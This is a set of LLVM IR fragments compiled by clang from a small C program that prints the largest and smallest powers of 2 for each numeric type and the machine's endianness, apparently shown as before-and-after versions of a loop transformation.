%251 = sext i8 %250 to i32
%252 = load i8, ptr %18, align 1
%253 = sext i8 %252 to i32
%254 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %238, ptr noundef @.str.15, i32 noundef %241, i32 noundef %244, i32 noundef %247, i32 noundef %249, i32 noundef %251, i32 noundef %253)
br label %255
255: ; preds = %226
%256 = load i32, ptr %9, align 4
%257 = add nsw i32 %256, 1
store i32 %257, ptr %9, align 4
%258 = load i32, ptr %9, align 4
%259 = icmp slt i32 %258, 2
br i1 %259, label %168, label %._crit_edge15, !llvm.loop !12
._crit_edge15: ; preds = %255
br label %260
260: ; preds = %._crit_edge15, %165
br label %261
261: ; preds = %260
%262 = load i32, ptr %6, align 4
%263 = add nsw i32 %262, 1
store i32 %263, ptr %6, align 4
%264 = load i32, ptr %6, align 4
%265 = icmp slt i32 %264, 2
br i1 %265, label %165, label %._crit_edge18, !llvm.loop !13
._crit_edge18: ; preds = %261
br label %266
266: ; preds = %._crit_edge18, %162
br label %267
267: ; preds = %266
%268 = load i32, ptr %4, align 4
%269 = add nsw i32 %268, 1
store i32 %269, ptr %4, align 4
%270 = load i32, ptr %4, align 4
%271 = icmp slt i32 %270, 2
br i1 %271, label %162, label %._crit_edge21, !llvm.loop !14
._crit_edge21: ; preds = %267
br label %272
272: ; preds = %._crit_edge21, %159
br label %273
273: ; preds = %272
%274 = load i32, ptr %7, align 4
%275 = add nsw i32 %274, 1
store i32 %275, ptr %7, align 4
%276 = load i32, ptr %7, align 4
%277 = icmp slt i32 %276, 2
br i1 %277, label %159, label %._crit_edge24, !llvm.loop !15
._crit_edge24: ; preds = %273
br label %278
278: ; preds = %._crit_edge24, %154
%279 = load ptr, ptr %19, align 8
%280 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %279, ptr noundef @.str.12)
br label %281
281: ; preds = %278
%282 = load i32, ptr %8, align 4
%283 = add nsw i32 %282, 1
store i32 %283, ptr %8, align 4
%284 = load i32, ptr %8, align 4
%285 = icmp slt i32 %284, 2
br i1 %285, label %154, label %._crit_edge27, !llvm.loop !16
._crit_edge27: ; preds = %281
br label %286
286: ; preds = %._crit_edge27, %151
br label %287
287: ; preds = %286
%288 = load i32, ptr %2, align 4
%289 = add nsw i32 %288, 1
store i32 %289, ptr %2, align 4
%290 = load i32, ptr %2, align 4
%291 = icmp slt i32 %290, 2
br i1 %291, label %151, label %._crit_edge30, !llvm.loop !17
._crit_edge30: ; preds = %287
br label %292
292: ; preds = %._crit_edge30, %148
br label %293
293: ; preds = %292
%294 = load i32, ptr %5, align 4
%295 = add nsw i32 %294, 1
store i32 %295, ptr %5, align 4
%296 = load i32, ptr %5, align 4
%297 = icmp slt i32 %296, 2
br i1 %297, label %148, label %._crit_edge33, !llvm.loop !18
._crit_edge33: ; preds = %293
br label %298
298: ; preds = %._crit_edge33, %145
br label %299
299: ; preds = %298
%300 = load i32, ptr %3, align 4
%301 = add nsw i32 %300, 1
store i32 %301, ptr %3, align 4
%302 = load i32, ptr %3, align 4
%303 = icmp slt i32 %302, 1
br i1 %303, label %145, label %._crit_edge36, !llvm.loop !19
._crit_edge36: ; preds = %299
br label %304
304: ; preds = %._crit_edge36, %140
%305 = load ptr, ptr %19, align 8
%306 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %305, ptr noundef @.str.16)
%307 = load ptr, ptr %19, align 8
%308 = call i32 @fclose(ptr noundef %307)
store i32 0, ptr %1, align 4
br label %309
309: ; preds = %304, %23
%310 = load i32, ptr %1, align 4
ret i32 %310
}
declare ptr @fopen(ptr noundef, ptr noundef) #1
declare i32 @printf(ptr noundef) #1
declare i32 @fprintf(ptr noundef, ptr noundef, ...) #1
declare i32 @bin(i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef) #1
declare i32 @fclose(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
!9 = distinct !{!9, !7}
!10 = distinct !{!10, !7}
!11 = distinct !{!11, !7}
!12 = distinct !{!12, !7}
!13 = distinct !{!13, !7}
!14 = distinct !{!14, !7}
!15 = distinct !{!15, !7}
!16 = distinct !{!16, !7}
!17 = distinct !{!17, !7}
!18 = distinct !{!18, !7}
!19 = distinct !{!19, !7}
|
; ModuleID = '/tmp/tmpsigsj0im.c'
source_filename = "/tmp/tmpsigsj0im.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [21 x i8] c"largest powers of 2\0A\00", align 1
@.str.1 = private unnamed_addr constant [18 x i8] c"\09%6s: 2**%d = %d\0A\00", align 1
@.str.2 = private unnamed_addr constant [5 x i8] c"char\00", align 1
@.str.3 = private unnamed_addr constant [15 x i8] c"\09(char is %s)\0A\00", align 1
@.str.4 = private unnamed_addr constant [7 x i8] c"signed\00", align 1
@.str.5 = private unnamed_addr constant [9 x i8] c"unsigned\00", align 1
@.str.6 = private unnamed_addr constant [6 x i8] c"short\00", align 1
@.str.7 = private unnamed_addr constant [4 x i8] c"int\00", align 1
@.str.8 = private unnamed_addr constant [19 x i8] c"\09%6s: 2**%d = %ld\0A\00", align 1
@.str.9 = private unnamed_addr constant [5 x i8] c"long\00", align 1
@.str.10 = private unnamed_addr constant [18 x i8] c"\09%6s: 2**%d = %g\0A\00", align 1
@.str.11 = private unnamed_addr constant [6 x i8] c"float\00", align 1
@.str.12 = private unnamed_addr constant [7 x i8] c"double\00", align 1
@.str.13 = private unnamed_addr constant [22 x i8] c"smallest powers of 2\0A\00", align 1
@.str.14 = private unnamed_addr constant [22 x i8] c"machine is %s-endian\0A\00", align 1
@.str.15 = private unnamed_addr constant [7 x i8] c"little\00", align 1
@.str.16 = private unnamed_addr constant [4 x i8] c"big\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca i8, align 1
%3 = alloca i8, align 1
%4 = alloca i8, align 1
%5 = alloca i16, align 2
%6 = alloca i16, align 2
%7 = alloca i16, align 2
%8 = alloca i32, align 4
%9 = alloca i32, align 4
%10 = alloca i32, align 4
%11 = alloca i64, align 8
%12 = alloca i64, align 8
%13 = alloca i64, align 8
%14 = alloca float, align 4
%15 = alloca float, align 4
%16 = alloca float, align 4
%17 = alloca double, align 8
%18 = alloca double, align 8
%19 = alloca double, align 8
%20 = alloca i32, align 4
%21 = alloca i32, align 4
%22 = alloca i32, align 4
%23 = alloca i32, align 4
%24 = alloca i32, align 4
%25 = alloca i32, align 4
%26 = alloca i32, align 4
%27 = alloca i32, align 4
%28 = alloca i32, align 4
store i32 0, ptr %1, align 4
store i32 1, ptr %20, align 4
%29 = call i32 (ptr, ...) @printf(ptr noundef @.str)
store i32 0, ptr %21, align 4
store i8 1, ptr %2, align 1
%30 = load i8, ptr %2, align 1
%31 = sext i8 %30 to i32
%32 = mul nsw i32 %31, 2
%33 = trunc i32 %32 to i8
store i8 %33, ptr %3, align 1
%34 = load i8, ptr %3, align 1
%35 = sext i8 %34 to i32
%36 = sdiv i32 %35, 2
%37 = trunc i32 %36 to i8
store i8 %37, ptr %4, align 1
br label %38
38: ; preds = %44, %0
%39 = load i8, ptr %4, align 1
%40 = sext i8 %39 to i32
%41 = load i8, ptr %2, align 1
%42 = sext i8 %41 to i32
%43 = icmp eq i32 %40, %42
br i1 %43, label %44, label %56
44: ; preds = %38
%45 = load i32, ptr %21, align 4
%46 = add nsw i32 %45, 1
store i32 %46, ptr %21, align 4
%47 = load i8, ptr %3, align 1
store i8 %47, ptr %2, align 1
%48 = load i8, ptr %2, align 1
%49 = sext i8 %48 to i32
%50 = mul nsw i32 %49, 2
%51 = trunc i32 %50 to i8
store i8 %51, ptr %3, align 1
%52 = load i8, ptr %3, align 1
%53 = sext i8 %52 to i32
%54 = sdiv i32 %53, 2
%55 = trunc i32 %54 to i8
store i8 %55, ptr %4, align 1
br label %38, !llvm.loop !6
56: ; preds = %38
%57 = load i32, ptr %21, align 4
%58 = load i8, ptr %2, align 1
%59 = sext i8 %58 to i32
%60 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, ptr noundef @.str.2, i32 noundef %57, i32 noundef %59)
%61 = load i8, ptr %3, align 1
%62 = sext i8 %61 to i32
%63 = icmp slt i32 %62, 0
%64 = zext i1 %63 to i64
%65 = select i1 %63, ptr @.str.4, ptr @.str.5
%66 = call i32 (ptr, ...) @printf(ptr noundef @.str.3, ptr noundef %65)
store i32 0, ptr %22, align 4
store i16 1, ptr %5, align 2
%67 = load i16, ptr %5, align 2
%68 = sext i16 %67 to i32
%69 = mul nsw i32 %68, 2
%70 = trunc i32 %69 to i16
store i16 %70, ptr %6, align 2
%71 = load i16, ptr %6, align 2
%72 = sext i16 %71 to i32
%73 = sdiv i32 %72, 2
%74 = trunc i32 %73 to i16
store i16 %74, ptr %7, align 2
br label %75
75: ; preds = %81, %56
%76 = load i16, ptr %7, align 2
%77 = sext i16 %76 to i32
%78 = load i16, ptr %5, align 2
%79 = sext i16 %78 to i32
%80 = icmp eq i32 %77, %79
br i1 %80, label %81, label %93
81: ; preds = %75
%82 = load i32, ptr %22, align 4
%83 = add nsw i32 %82, 1
store i32 %83, ptr %22, align 4
%84 = load i16, ptr %6, align 2
store i16 %84, ptr %5, align 2
%85 = load i16, ptr %5, align 2
%86 = sext i16 %85 to i32
%87 = mul nsw i32 %86, 2
%88 = trunc i32 %87 to i16
store i16 %88, ptr %6, align 2
%89 = load i16, ptr %6, align 2
%90 = sext i16 %89 to i32
%91 = sdiv i32 %90, 2
%92 = trunc i32 %91 to i16
store i16 %92, ptr %7, align 2
br label %75, !llvm.loop !8
93: ; preds = %75
%94 = load i32, ptr %22, align 4
%95 = load i16, ptr %5, align 2
%96 = sext i16 %95 to i32
%97 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, ptr noundef @.str.6, i32 noundef %94, i32 noundef %96)
store i32 0, ptr %23, align 4
store i32 1, ptr %8, align 4
%98 = load i32, ptr %8, align 4
%99 = mul nsw i32 %98, 2
store i32 %99, ptr %9, align 4
%100 = load i32, ptr %9, align 4
%101 = sdiv i32 %100, 2
store i32 %101, ptr %10, align 4
br label %102
102: ; preds = %106, %93
%103 = load i32, ptr %10, align 4
%104 = load i32, ptr %8, align 4
%105 = icmp eq i32 %103, %104
br i1 %105, label %106, label %114
106: ; preds = %102
%107 = load i32, ptr %23, align 4
%108 = add nsw i32 %107, 1
store i32 %108, ptr %23, align 4
%109 = load i32, ptr %9, align 4
store i32 %109, ptr %8, align 4
%110 = load i32, ptr %8, align 4
%111 = mul nsw i32 %110, 2
store i32 %111, ptr %9, align 4
%112 = load i32, ptr %9, align 4
%113 = sdiv i32 %112, 2
store i32 %113, ptr %10, align 4
br label %102, !llvm.loop !9
114: ; preds = %102
%115 = load i32, ptr %23, align 4
%116 = load i32, ptr %8, align 4
%117 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, ptr noundef @.str.7, i32 noundef %115, i32 noundef %116)
store i32 0, ptr %24, align 4
store i64 1, ptr %11, align 8
%118 = load i64, ptr %11, align 8
%119 = mul nsw i64 %118, 2
store i64 %119, ptr %12, align 8
%120 = load i64, ptr %12, align 8
%121 = sdiv i64 %120, 2
store i64 %121, ptr %13, align 8
br label %122
122: ; preds = %126, %114
%123 = load i64, ptr %13, align 8
%124 = load i64, ptr %11, align 8
%125 = icmp eq i64 %123, %124
br i1 %125, label %126, label %134
126: ; preds = %122
%127 = load i32, ptr %24, align 4
%128 = add nsw i32 %127, 1
store i32 %128, ptr %24, align 4
%129 = load i64, ptr %12, align 8
store i64 %129, ptr %11, align 8
%130 = load i64, ptr %11, align 8
%131 = mul nsw i64 %130, 2
store i64 %131, ptr %12, align 8
%132 = load i64, ptr %12, align 8
%133 = sdiv i64 %132, 2
store i64 %133, ptr %13, align 8
br label %122, !llvm.loop !10
134: ; preds = %122
%135 = load i32, ptr %24, align 4
%136 = load i64, ptr %11, align 8
%137 = call i32 (ptr, ...) @printf(ptr noundef @.str.8, ptr noundef @.str.9, i32 noundef %135, i64 noundef %136)
store i32 0, ptr %25, align 4
store float 1.000000e+00, ptr %14, align 4
%138 = load float, ptr %14, align 4
%139 = fmul float %138, 2.000000e+00
store float %139, ptr %15, align 4
%140 = load float, ptr %15, align 4
%141 = fdiv float %140, 2.000000e+00
store float %141, ptr %16, align 4
br label %142
142: ; preds = %146, %134
%143 = load float, ptr %16, align 4
%144 = load float, ptr %14, align 4
%145 = fcmp oeq float %143, %144
br i1 %145, label %146, label %154
146: ; preds = %142
%147 = load i32, ptr %25, align 4
%148 = add nsw i32 %147, 1
store i32 %148, ptr %25, align 4
%149 = load float, ptr %15, align 4
store float %149, ptr %14, align 4
%150 = load float, ptr %14, align 4
%151 = fmul float %150, 2.000000e+00
store float %151, ptr %15, align 4
%152 = load float, ptr %15, align 4
%153 = fdiv float %152, 2.000000e+00
store float %153, ptr %16, align 4
br label %142, !llvm.loop !11
154: ; preds = %142
%155 = load i32, ptr %25, align 4
%156 = load float, ptr %14, align 4
%157 = fpext float %156 to double
%158 = call i32 (ptr, ...) @printf(ptr noundef @.str.10, ptr noundef @.str.11, i32 noundef %155, double noundef %157)
store i32 0, ptr %26, align 4
store double 1.000000e+00, ptr %17, align 8
%159 = load double, ptr %17, align 8
%160 = fmul double %159, 2.000000e+00
store double %160, ptr %18, align 8
%161 = load double, ptr %18, align 8
%162 = fdiv double %161, 2.000000e+00
store double %162, ptr %19, align 8
br label %163
163: ; preds = %167, %154
%164 = load double, ptr %19, align 8
%165 = load double, ptr %17, align 8
%166 = fcmp oeq double %164, %165
br i1 %166, label %167, label %175
167: ; preds = %163
%168 = load i32, ptr %26, align 4
%169 = add nsw i32 %168, 1
store i32 %169, ptr %26, align 4
%170 = load double, ptr %18, align 8
store double %170, ptr %17, align 8
%171 = load double, ptr %17, align 8
%172 = fmul double %171, 2.000000e+00
store double %172, ptr %18, align 8
%173 = load double, ptr %18, align 8
%174 = fdiv double %173, 2.000000e+00
store double %174, ptr %19, align 8
br label %163, !llvm.loop !12
175: ; preds = %163
%176 = load i32, ptr %26, align 4
%177 = load double, ptr %17, align 8
%178 = call i32 (ptr, ...) @printf(ptr noundef @.str.10, ptr noundef @.str.12, i32 noundef %176, double noundef %177)
%179 = call i32 (ptr, ...) @printf(ptr noundef @.str.13)
store i32 0, ptr %27, align 4
store float 1.000000e+00, ptr %14, align 4
%180 = load float, ptr %14, align 4
%181 = fdiv float %180, 2.000000e+00
store float %181, ptr %15, align 4
%182 = load float, ptr %15, align 4
%183 = fmul float %182, 2.000000e+00
store float %183, ptr %16, align 4
br label %184
184: ; preds = %188, %175
%185 = load float, ptr %16, align 4
%186 = load float, ptr %14, align 4
%187 = fcmp oeq float %185, %186
br i1 %187, label %188, label %196
188: ; preds = %184
%189 = load i32, ptr %27, align 4
%190 = add nsw i32 %189, -1
store i32 %190, ptr %27, align 4
%191 = load float, ptr %15, align 4
store float %191, ptr %14, align 4
%192 = load float, ptr %14, align 4
%193 = fdiv float %192, 2.000000e+00
store float %193, ptr %15, align 4
%194 = load float, ptr %15, align 4
%195 = fmul float %194, 2.000000e+00
store float %195, ptr %16, align 4
br label %184, !llvm.loop !13
196: ; preds = %184
%197 = load i32, ptr %27, align 4
%198 = load float, ptr %14, align 4
%199 = fpext float %198 to double
%200 = call i32 (ptr, ...) @printf(ptr noundef @.str.10, ptr noundef @.str.11, i32 noundef %197, double noundef %199)
store i32 0, ptr %28, align 4
store double 1.000000e+00, ptr %17, align 8
%201 = load double, ptr %17, align 8
%202 = fdiv double %201, 2.000000e+00
store double %202, ptr %18, align 8
%203 = load double, ptr %18, align 8
%204 = fmul double %203, 2.000000e+00
store double %204, ptr %19, align 8
br label %205
205: ; preds = %209, %196
%206 = load double, ptr %19, align 8
%207 = load double, ptr %17, align 8
%208 = fcmp oeq double %206, %207
br i1 %208, label %209, label %217
209: ; preds = %205
%210 = load i32, ptr %28, align 4
%211 = add nsw i32 %210, -1
store i32 %211, ptr %28, align 4
%212 = load double, ptr %18, align 8
store double %212, ptr %17, align 8
%213 = load double, ptr %17, align 8
%214 = fdiv double %213, 2.000000e+00
store double %214, ptr %18, align 8
%215 = load double, ptr %18, align 8
%216 = fmul double %215, 2.000000e+00
store double %216, ptr %19, align 8
br label %205, !llvm.loop !14
217: ; preds = %205
%218 = load i32, ptr %28, align 4
%219 = load double, ptr %17, align 8
%220 = call i32 (ptr, ...) @printf(ptr noundef @.str.10, ptr noundef @.str.12, i32 noundef %218, double noundef %219)
%221 = load i8, ptr %20, align 4
%222 = sext i8 %221 to i32
%223 = icmp eq i32 %222, 1
%224 = zext i1 %223 to i64
%225 = select i1 %223, ptr @.str.15, ptr @.str.16
%226 = call i32 (ptr, ...) @printf(ptr noundef @.str.14, ptr noundef %225)
ret i32 0
}
declare i32 @printf(ptr noundef, ...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
!9 = distinct !{!9, !7}
!10 = distinct !{!10, !7}
!11 = distinct !{!11, !7}
!12 = distinct !{!12, !7}
!13 = distinct !{!13, !7}
!14 = distinct !{!14, !7}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpsigsj0im.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [21 x i8] c"largest powers of 2\0A\00", align 1
@.str.1 = private unnamed_addr constant [18 x i8] c"\09%6s: 2**%d = %d\0A\00", align 1
@.str.2 = private unnamed_addr constant [5 x i8] c"char\00", align 1
@.str.3 = private unnamed_addr constant [15 x i8] c"\09(char is %s)\0A\00", align 1
@.str.4 = private unnamed_addr constant [7 x i8] c"signed\00", align 1
@.str.5 = private unnamed_addr constant [9 x i8] c"unsigned\00", align 1
@.str.6 = private unnamed_addr constant [6 x i8] c"short\00", align 1
@.str.7 = private unnamed_addr constant [4 x i8] c"int\00", align 1
@.str.8 = private unnamed_addr constant [19 x i8] c"\09%6s: 2**%d = %ld\0A\00", align 1
@.str.9 = private unnamed_addr constant [5 x i8] c"long\00", align 1
@.str.10 = private unnamed_addr constant [18 x i8] c"\09%6s: 2**%d = %g\0A\00", align 1
@.str.11 = private unnamed_addr constant [6 x i8] c"float\00", align 1
@.str.12 = private unnamed_addr constant [7 x i8] c"double\00", align 1
@.str.13 = private unnamed_addr constant [22 x i8] c"smallest powers of 2\0A\00", align 1
@.str.14 = private unnamed_addr constant [22 x i8] c"machine is %s-endian\0A\00", align 1
@.str.15 = private unnamed_addr constant [7 x i8] c"little\00", align 1
@.str.16 = private unnamed_addr constant [4 x i8] c"big\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca i8, align 1
%3 = alloca i8, align 1
%4 = alloca i8, align 1
%5 = alloca i16, align 2
%6 = alloca i16, align 2
%7 = alloca i16, align 2
%8 = alloca i32, align 4
%9 = alloca i32, align 4
%10 = alloca i32, align 4
%11 = alloca i64, align 8
%12 = alloca i64, align 8
%13 = alloca i64, align 8
%14 = alloca float, align 4
%15 = alloca float, align 4
%16 = alloca float, align 4
%17 = alloca double, align 8
%18 = alloca double, align 8
%19 = alloca double, align 8
%20 = alloca i32, align 4
%21 = alloca i32, align 4
%22 = alloca i32, align 4
%23 = alloca i32, align 4
%24 = alloca i32, align 4
%25 = alloca i32, align 4
%26 = alloca i32, align 4
%27 = alloca i32, align 4
%28 = alloca i32, align 4
store i32 0, ptr %1, align 4
store i32 1, ptr %20, align 4
%29 = call i32 (ptr, ...) @printf(ptr noundef @.str)
store i32 0, ptr %21, align 4
store i8 1, ptr %2, align 1
%30 = load i8, ptr %2, align 1
%31 = sext i8 %30 to i32
%32 = mul nsw i32 %31, 2
%33 = trunc i32 %32 to i8
store i8 %33, ptr %3, align 1
%34 = load i8, ptr %3, align 1
%35 = sext i8 %34 to i32
%36 = sdiv i32 %35, 2
%37 = trunc i32 %36 to i8
store i8 %37, ptr %4, align 1
%38 = load i8, ptr %4, align 1
%39 = sext i8 %38 to i32
%40 = load i8, ptr %2, align 1
%41 = sext i8 %40 to i32
%42 = icmp eq i32 %39, %41
br i1 %42, label %.lr.ph, label %60
.lr.ph: ; preds = %0
br label %43
43: ; preds = %.lr.ph, %43
%44 = load i32, ptr %21, align 4
%45 = add nsw i32 %44, 1
store i32 %45, ptr %21, align 4
%46 = load i8, ptr %3, align 1
store i8 %46, ptr %2, align 1
%47 = load i8, ptr %2, align 1
%48 = sext i8 %47 to i32
%49 = mul nsw i32 %48, 2
%50 = trunc i32 %49 to i8
store i8 %50, ptr %3, align 1
%51 = load i8, ptr %3, align 1
%52 = sext i8 %51 to i32
%53 = sdiv i32 %52, 2
%54 = trunc i32 %53 to i8
store i8 %54, ptr %4, align 1
%55 = load i8, ptr %4, align 1
%56 = sext i8 %55 to i32
%57 = load i8, ptr %2, align 1
%58 = sext i8 %57 to i32
%59 = icmp eq i32 %56, %58
br i1 %59, label %43, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %43
br label %60
60: ; preds = %._crit_edge, %0
%61 = load i32, ptr %21, align 4
%62 = load i8, ptr %2, align 1
%63 = sext i8 %62 to i32
%64 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, ptr noundef @.str.2, i32 noundef %61, i32 noundef %63)
%65 = load i8, ptr %3, align 1
%66 = sext i8 %65 to i32
%67 = icmp slt i32 %66, 0
%68 = zext i1 %67 to i64
%69 = select i1 %67, ptr @.str.4, ptr @.str.5
%70 = call i32 (ptr, ...) @printf(ptr noundef @.str.3, ptr noundef %69)
store i32 0, ptr %22, align 4
store i16 1, ptr %5, align 2
%71 = load i16, ptr %5, align 2
%72 = sext i16 %71 to i32
%73 = mul nsw i32 %72, 2
%74 = trunc i32 %73 to i16
store i16 %74, ptr %6, align 2
%75 = load i16, ptr %6, align 2
%76 = sext i16 %75 to i32
%77 = sdiv i32 %76, 2
%78 = trunc i32 %77 to i16
store i16 %78, ptr %7, align 2
%79 = load i16, ptr %7, align 2
%80 = sext i16 %79 to i32
%81 = load i16, ptr %5, align 2
%82 = sext i16 %81 to i32
%83 = icmp eq i32 %80, %82
br i1 %83, label %.lr.ph2, label %101
.lr.ph2: ; preds = %60
br label %84
84: ; preds = %.lr.ph2, %84
%85 = load i32, ptr %22, align 4
%86 = add nsw i32 %85, 1
store i32 %86, ptr %22, align 4
%87 = load i16, ptr %6, align 2
store i16 %87, ptr %5, align 2
%88 = load i16, ptr %5, align 2
%89 = sext i16 %88 to i32
%90 = mul nsw i32 %89, 2
%91 = trunc i32 %90 to i16
store i16 %91, ptr %6, align 2
%92 = load i16, ptr %6, align 2
%93 = sext i16 %92 to i32
%94 = sdiv i32 %93, 2
%95 = trunc i32 %94 to i16
store i16 %95, ptr %7, align 2
%96 = load i16, ptr %7, align 2
%97 = sext i16 %96 to i32
%98 = load i16, ptr %5, align 2
%99 = sext i16 %98 to i32
%100 = icmp eq i32 %97, %99
br i1 %100, label %84, label %._crit_edge3, !llvm.loop !8
._crit_edge3: ; preds = %84
br label %101
101: ; preds = %._crit_edge3, %60
%102 = load i32, ptr %22, align 4
%103 = load i16, ptr %5, align 2
%104 = sext i16 %103 to i32
%105 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, ptr noundef @.str.6, i32 noundef %102, i32 noundef %104)
store i32 0, ptr %23, align 4
store i32 1, ptr %8, align 4
%106 = load i32, ptr %8, align 4
%107 = mul nsw i32 %106, 2
store i32 %107, ptr %9, align 4
%108 = load i32, ptr %9, align 4
%109 = sdiv i32 %108, 2
store i32 %109, ptr %10, align 4
%110 = load i32, ptr %10, align 4
%111 = load i32, ptr %8, align 4
%112 = icmp eq i32 %110, %111
br i1 %112, label %.lr.ph5, label %124
.lr.ph5: ; preds = %101
br label %113
113: ; preds = %.lr.ph5, %113
%114 = load i32, ptr %23, align 4
%115 = add nsw i32 %114, 1
store i32 %115, ptr %23, align 4
%116 = load i32, ptr %9, align 4
store i32 %116, ptr %8, align 4
%117 = load i32, ptr %8, align 4
%118 = mul nsw i32 %117, 2
store i32 %118, ptr %9, align 4
%119 = load i32, ptr %9, align 4
%120 = sdiv i32 %119, 2
store i32 %120, ptr %10, align 4
%121 = load i32, ptr %10, align 4
%122 = load i32, ptr %8, align 4
%123 = icmp eq i32 %121, %122
br i1 %123, label %113, label %._crit_edge6, !llvm.loop !9
._crit_edge6: ; preds = %113
br label %124
124: ; preds = %._crit_edge6, %101
%125 = load i32, ptr %23, align 4
%126 = load i32, ptr %8, align 4
%127 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, ptr noundef @.str.7, i32 noundef %125, i32 noundef %126)
store i32 0, ptr %24, align 4
store i64 1, ptr %11, align 8
%128 = load i64, ptr %11, align 8
%129 = mul nsw i64 %128, 2
store i64 %129, ptr %12, align 8
%130 = load i64, ptr %12, align 8
%131 = sdiv i64 %130, 2
store i64 %131, ptr %13, align 8
%132 = load i64, ptr %13, align 8
%133 = load i64, ptr %11, align 8
%134 = icmp eq i64 %132, %133
br i1 %134, label %.lr.ph8, label %146
.lr.ph8: ; preds = %124
br label %135
135: ; preds = %.lr.ph8, %135
%136 = load i32, ptr %24, align 4
%137 = add nsw i32 %136, 1
store i32 %137, ptr %24, align 4
%138 = load i64, ptr %12, align 8
store i64 %138, ptr %11, align 8
%139 = load i64, ptr %11, align 8
%140 = mul nsw i64 %139, 2
store i64 %140, ptr %12, align 8
%141 = load i64, ptr %12, align 8
%142 = sdiv i64 %141, 2
store i64 %142, ptr %13, align 8
%143 = load i64, ptr %13, align 8
%144 = load i64, ptr %11, align 8
%145 = icmp eq i64 %143, %144
br i1 %145, label %135, label %._crit_edge9, !llvm.loop !10
._crit_edge9: ; preds = %135
br label %146
146: ; preds = %._crit_edge9, %124
%147 = load i32, ptr %24, align 4
%148 = load i64, ptr %11, align 8
%149 = call i32 (ptr, ...) @printf(ptr noundef @.str.8, ptr noundef @.str.9, i32 noundef %147, i64 noundef %148)
store i32 0, ptr %25, align 4
store float 1.000000e+00, ptr %14, align 4
%150 = load float, ptr %14, align 4
%151 = fmul float %150, 2.000000e+00
store float %151, ptr %15, align 4
%152 = load float, ptr %15, align 4
%153 = fdiv float %152, 2.000000e+00
store float %153, ptr %16, align 4
%154 = load float, ptr %16, align 4
%155 = load float, ptr %14, align 4
%156 = fcmp oeq float %154, %155
br i1 %156, label %.lr.ph11, label %168
.lr.ph11: ; preds = %146
br label %157
157: ; preds = %.lr.ph11, %157
%158 = load i32, ptr %25, align 4
%159 = add nsw i32 %158, 1
store i32 %159, ptr %25, align 4
%160 = load float, ptr %15, align 4
store float %160, ptr %14, align 4
%161 = load float, ptr %14, align 4
%162 = fmul float %161, 2.000000e+00
store float %162, ptr %15, align 4
%163 = load float, ptr %15, align 4
%164 = fdiv float %163, 2.000000e+00
store float %164, ptr %16, align 4
%165 = load float, ptr %16, align 4
%166 = load float, ptr %14, align 4
%167 = fcmp oeq float %165, %166
br i1 %167, label %157, label %._crit_edge12, !llvm.loop !11
._crit_edge12: ; preds = %157
br label %168
168: ; preds = %._crit_edge12, %146
%169 = load i32, ptr %25, align 4
%170 = load float, ptr %14, align 4
%171 = fpext float %170 to double
%172 = call i32 (ptr, ...) @printf(ptr noundef @.str.10, ptr noundef @.str.11, i32 noundef %169, double noundef %171)
store i32 0, ptr %26, align 4
store double 1.000000e+00, ptr %17, align 8
%173 = load double, ptr %17, align 8
%174 = fmul double %173, 2.000000e+00
store double %174, ptr %18, align 8
%175 = load double, ptr %18, align 8
%176 = fdiv double %175, 2.000000e+00
store double %176, ptr %19, align 8
%177 = load double, ptr %19, align 8
%178 = load double, ptr %17, align 8
%179 = fcmp oeq double %177, %178
